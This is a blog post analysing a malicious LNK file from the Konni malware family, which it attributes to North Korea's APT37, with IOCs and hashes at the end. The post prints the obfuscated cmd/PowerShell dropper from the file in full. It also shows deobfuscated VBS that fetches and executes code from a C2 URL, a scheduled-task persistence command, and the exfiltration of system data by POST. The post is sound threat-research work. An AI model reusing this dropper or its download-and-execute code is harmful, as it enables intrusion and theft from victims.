Skip to main content
  1. Posts/

Konni [ North Korea-linked APT group ] LNK Analysis

·1956 words·10 mins·
TheDeadThinker
Author
TheDeadThinker

This blog will cover the technical analysis of Konni malware family malicious Lnk file. But before starting the analysis I know you are asking a question what/who is konni ?

[!NOTE] : I’m not an expert, but I’m keen on improvement. If you spot any mistakes in my blog, please DM me on any platform you like for constructive feedback.

What/who is Konni ?
#

The Konni malware family is indeed associated with the APT37 (also known as Reaper or Group123) cyber espionage group. APT37 is believed to be a state-sponsored hacking group based in North Korea. APT37 has been known to target organizations primarily in South Korea, especially those in the political and military sectors. The group has also been linked to campaigns against entities in Japan, Vietnam, Russia, Nepal, China, India, Romania, Kuwait, and other parts of the Middle East. APT37 has employed a variety of tools and techniques in its operations, including custom malware such as the Konni RAT, data exfiltration tools, and spear-phishing campaigns.

Infection chain
#

Stage 1
#

We have a lnk, this looks like a normal lnk file and it targets to the cmd.exe binary in the syswow64 directory.

Result of ExifTool

As we can see in the below image the Target is set to the cmd.exe Therefore it will start the cmd.exe from the syswow64.

The Size of the LNK file is something suspicious, The size of this LNK file is 24935KB [ ~25 MB ]. There are lot of space after the cmd.exe it means there is lot more content added after that.

The best way to check is put the LNK file in any Hex Editor, I used HXD to check the file hex and ASCII. After scrolling down little bit at offset B60, we found that there are lot more commands like set, call etc.

This is the complete script found in the LNK file. Let’s discuss what actually this script will execute.

/q /c Set K=JkaqBnPUKuftX6iVHIRSTYDLMpAgWsde3Fczm2r8jl1vG0b4hoNZ9yOQ5wExC7 && call %K:~25,1%%K:~49,1%%K:~57,1%%K:~31,1%%K:~38,1%%K:~29,1%%K:~48,1%%K:~31,1%%K:~41,1%%K:~41,1% -%K:~57,1%%K:~14,1%%K:~5,1%%K:~30,1%%K:~49,1%%K:~57,1%%K:~29,1%%K:~11,1%%K:~53,1%%K:~41,1%%K:~31,1% %K:~48,1%%K:~14,1%%K:~30,1%%K:~30,1%%K:~31,1%%K:~5,1% "$Bj3hw23s4llgyv = Get-Location;$tywwh842L = Get-ChildItem -Path $Bj3hw23s4llgyv -Recurse *.lnk | where-object {$_.length -eq 0x01859999} | Select-Object -ExpandProperty FullName;if($tywwh842L.length -eq 0) {$Bj3hw23s4llgyv = $env:Temp;$tywwh842L = Get-ChildItem -Path $Bj3hw23s4llgyv -Recurse *.lnk | where-object {$_.length -eq 0x01859999} | Select-Object -ExpandProperty FullName;};$Bj3hw23s4llgyv = Split-Path $tywwh842L;$hl0xA4j = New-Object System.IO.FileStream($tywwh842L, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read);$hl0xA4j.Seek(0x00001A6E, [System.IO.SeekOrigin]::Begin);$nBmFkheUsdoQ = New-Object byte[] 0x0014DEBF;$hl0xA4j.Read($nBmFkheUsdoQ, 0, 0x0014DEBF);$UVJuXNSbxZC4L = $Bj3hw23s4llgyv + '\' + [regex]::unescape('[
).hwp');sc $UVJuXNSbxZC4L $nBmFkheUsdoQ -Encoding Byte;& $UVJuXNSbxZC4L;$hl0xA4j.Seek(0x0014F92D, [System.IO.SeekOrigin]::Begin);$ZS7EsGY5=New-Object byte[] 0x000018A7;$hl0xA4j.Read($ZS7EsGY5, 0, 0x000018A7);$hl0xA4j.Close();Remove-Item -Path $tywwh842L -Force;$x2vuZ_FNChxBs=$env:public + '\Libraries\vc98ee3f0.vbs';sc $x2vuZ_FNChxBs $ZS7EsGY5 -Encoding Byte;& wscript.exe $x2vuZ_FNChxBs;"

Understanding Initial Script
#

Set K=JkaqBnPUKuftX6iVHIRSTYDLMpAgWsde3Fczm2r8jl1vG0b4hoNZ9yOQ5wExC7 && call %K:~25,1%%K:~49,1%%K:~57,1%%K:~31,1%%K:~38,1%%K:~29,1%%K:~48,1%%K:~31,1%%K:~41,1%%K:~41,1% -%K:~57,1%%K:~14,1%%K:~5,1%%K:~30,1%%K:~49,1%%K:~57,1%%K:~29,1%%K:~11,1%%K:~53,1%%K:~41,1%%K:~31,1% %K:~48,1%%K:~14,1%%K:~30,1%%K:~30,1%%K:~31,1%%K:~5,1%

This is something interesting, first a variable is set and then there is a call command with some random commands. Let’s explore what exactly this means by an example.

Set Var=abcdefghijklmn
echo %Var:~3,1%%Var:~13,1%%Var:~4,1%

The Output of this will be cmd, so it means %Var:~3 start substring from the index 3 [ index starts from 0 ] and 1% means take only one char.

Similarly the output of malware will be powershell -windowstyle hidden

$Bj3hw23s4llgyv = Get-Location;
$tywwh842L = Get-ChildItem -Path $Bj3hw23s4llgyv -Recurse *.lnk | where-object {$_.length -eq 0x01859999} | Select-Object -ExpandProperty FullName

The PowerShell then execute script and get the current location from where the command is executed and then checks for the Files with extensions LNK and compares the size and if any file matches these two condition then name is stored in the variable.

$Bj3hw23s4llgyv = Split-Path $tywwh842L;
$hl0xA4j = New-Object System.IO.FileStream($tywwh842L, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read);
$hl0xA4j.Seek(0x00001A6E, [System.IO.SeekOrigin]::Begin);
$nBmFkheUsdoQ = New-Object byte[] 0x0014DEBF;
$hl0xA4j.Read($nBmFkheUsdoQ, 0, 0x0014DEBF);
$UVJuXNSbxZC4L = $Bj3hw23s4llgyv + '\' + [regex]::unescape('[
).hwp');
sc $UVJuXNSbxZC4L $nBmFkheUsdoQ -Encoding Byte;

The file will be opened in read mode and then the seek [ pointer from where to start reading ] is changed to the 0x00001A6E and read for the size 0x0014DEBF. The start is for the Document file and save the file to the current directory [ sc is not the command to configure services, here it is alias for the Set-Content ]. The Filename have character which are in non printable chars range therefore strings did not print the chars in regex unespace [ check below image ]. The doc file is discussed in the section Fake Document section

$hl0xA4j.Seek(0x0014F92D, [System.IO.SeekOrigin]::Begin);
$ZS7EsGY5=New-Object byte[] 0x000018A7;
$hl0xA4j.Read($ZS7EsGY5, 0, 0x000018A7);
$hl0xA4j.Close();
Remove-Item -Path $tywwh842L -Force;
$x2vuZ_FNChxBs=$env:public + '\Libraries\vc98ee3f0.vbs';
sc $x2vuZ_FNChxBs $ZS7EsGY5 -Encoding Byte;
& wscript.exe $x2vuZ_FNChxBs;

Then the seek pointer again changed to the start of the offset 0x0014F92D, which is the end of the document file and then it read for the size 0x000018A7. This is the VBS code as shown in below image. The malware remove the LNK file and save the vbs code to the location $env:public\Libraries\vc98ee3f0.vbs. wscript.exe is used to execute the script.

There are multiple ways to get the vbs code, using strings, execute the LNK then suspend the PowerShell process, collect the vbs from memory. But I am smart [ just joking ] I just changed the wscript.exe to notepad.exe using the hxd and then execute and you will find that notepad is opened and have our clean vbs code without any effort.

Fake Document
#

The document dropped in the stage 1 is just to fool the user that actual file is opening using the lnk file and behind that vbs will be executed.

The File is not dumped to the disk properly so I carved from the lnk file manually and when unzipping the file, we have the below directory structure.

The script folder have two scripts but both are clean, no malicious code found in them.

sourceScripts.js
#

headerScripts.js
#

This is the png file present in the preview directory

Output of the olevba and oleid to find if there is any external ole objects or relationships are there and VBA are present or not.

Stage 2
#

The vbs dropped in Public User Library is obfuscated as you can check in below image.

Deobfuscating VBS
#

There is a pattern :

  • First there will be a variable which is Initialize with random characters
  • Second variable whose value is created by xor operation and then concatenation
    • : is used so that multiple instruction can be performed in single line
  • The second variable final value is assigned to the First variable and same follows for all

Other than these instructions, there are few lines in code which stands out as shown in below image.

  • Object is created and ComputerName is collected and assigned to variable
  • Some possible http request are send and response is executed

Now I have two options either to deobfuscate the code manually or I can use my python skill to save the time. So initially I thought why waste time on building a script. But after spending time on find & replace and executing, I thought let’s write a script.

I have written a script on the basis of the pattern identified above. This script will help you to find the final value of all the variables [ I know this is not the ultimate script but atleast it reduces time which we waste on find & replace, xor etc.. ]

Script Link : Konni Deobfuscation.py

Output of the script for the obfuscated vbs. From the output we can easily make a assumption that there is a URL and keywords like XMLHTTP, WScript.Network, it means malware was communicating to a URL for further instruction.

After replacing the value of variable from the output of above script this can be observed that a GET request will be sent to a URL and the response of the GET request will then further executed.

MStMJGQFU2WWvL = otc1lnmclX_fD1
Set mjmVH = CreateObject(MStMJGQFU2WWvL)
V3wedMG4f = CreateObject(WROQ_YD).ComputerName
xwF7q0noUVrR6V = S1DZTGpId3W32
MWeRawXu7im = S1DZTGpId3W31
mjmVH.open MWeRawXu7im, xwF7q0noUVrR6V & V3wedMG4f, False
mjmVH.Send
Execute(mjmVH.responseText)

// Final Command: 
Microsoft.XMLHTTP_Object.open GET https://shaira1885.com/wp-admin/includes/class-wp-release-data.php?class= & ComputerName, False
Microsoft.XMLHTTP_Object.send
Execute(Microsoft.XMLHTTP_Object.responseText)

Stage 3
#

During the analysis the url was active and when sending the request to the url with any computername we receive the output. The output looks similar to the vbs code we deobfuscated in the above stage.

I used the same python script created in earlier stage and it worked in this case also and this time the output shows some new keywords like schtasks, WScript.Shell.

Similar to stage 1, after replacing the variables value with the output of the script we found that this time a schedule task will be created and name of the task will be WeChatVersionAutoUpdate, frequency is every 10 mins and the file is the vbs present in our Public User Directory .

WVYizmUVLdRpNux = m0ZsX6BmI5E & Chr(34) & zC6JdUI0Tsi & Chr(34) & h1ub38dv & Chr(34) & WScript.ScriptFullName & Chr(34) & R52bXZrrdxrm 
pqMHgeKOpmHHh.Run WVYizmUVLdRpNux, 0, False

WVYizmUVLdRpNux = schtasks /create /sc minute /mo 10 /tn & " & WeChatVersionAutoUpdate & " & /tr & " & WScript.ScriptFullName & " & /f
Wscript.Shell.Run WVYizmUVLdRpNux, 0, False

I was thinking that what will be the use of downloading the same vbs again and again and then creating the same schedule task again. But as I always say in security don’t assume anything, I revisited the site and refreshed the page but this time the vbs code changed. This means when you first visit the URL with unique computername it will send you the vbs code to create the schedule task but after that it will ask return the another vbs which we will checking in stage4.

Stage 4
#

As explained above we recevied the new code this time and the same obfuscation is used here also.

Using the script to deobfuscate the vbs code and checking the output. But this time it is very interesting this time we don’t have GET method we have POST method.

Malware now send information to the same domain but the endpoint is changed.

From the below image we can find that there are dir command used on multiple directory like Downloads, Documents, Users etc and stored in different files

Other than dir enumeration, malware also checks the IP details, systeminfo, process running, what are the keys of the CurrentVersion\RUN Key and then send all the files data to the url.

How code flow works ?
#

In the last vbs code there is a function and for all the commands output those are stored in the file, those filenames are sent to MX0Wu3ou and then data is read from the file and send to the url and file will be deleted.

  • MX0Wu3ou Function definition, it takes two arguments

After removing all the xor operations and other garbage these are the commands executed [ I have converted the variable names to meaningful ].

  • FileSystemObject is created and using this malware will read the file which is provided as argument to the function and then file will be deleted
  • The data to be sent is convert into the format: alias=<computername>&name=<filename>&data=<FileContent>
  • Then the data sent to the url using post method

Before calling the function MX0Wu3ou the CurrentDirectory is set to the public user Library folder from where the vbs script is executing and then using the cmd.exe commands are executed and saved to files.

How function MX0Wu3ou is called ? After the XOR operation we have the filename to send as first argument and the second argument will always be our computername.

Then after every 10 mins the schedule task will run and the vbs will be downloaded and as the computer is unique the second vbs will be download and all details will be collected again and send to the malware author.

IOCs
#

URL
#

Value Description
hxxps[://]shaira1885[.]com/wp-admin/includes/class-wp-release-data[.]php?class= Gets next stage payloads
hxxps[://]shaira1885[.]com/wp-admin/includes/class-wp-release-data[.]php Send the Data using POST method

File Names
#

Value
vc98ee3f0.vbs

Hashes
#

Hash Type Value Description
SHA1 2b1a9f3fbfc6f2a3efd8d2ed0d1a85ae839b4d31 vc98ee3f0.vbs
SHA1 ea8037e7c58dade74a27493c327b18fb06e600f5 2nd_stage.vbs: Payload used to setup the scheduled task
SHA1 e44e0021a1d866b19ddba09d395180f69f686290 final_vbs.vbs: Payload used to collect the user system data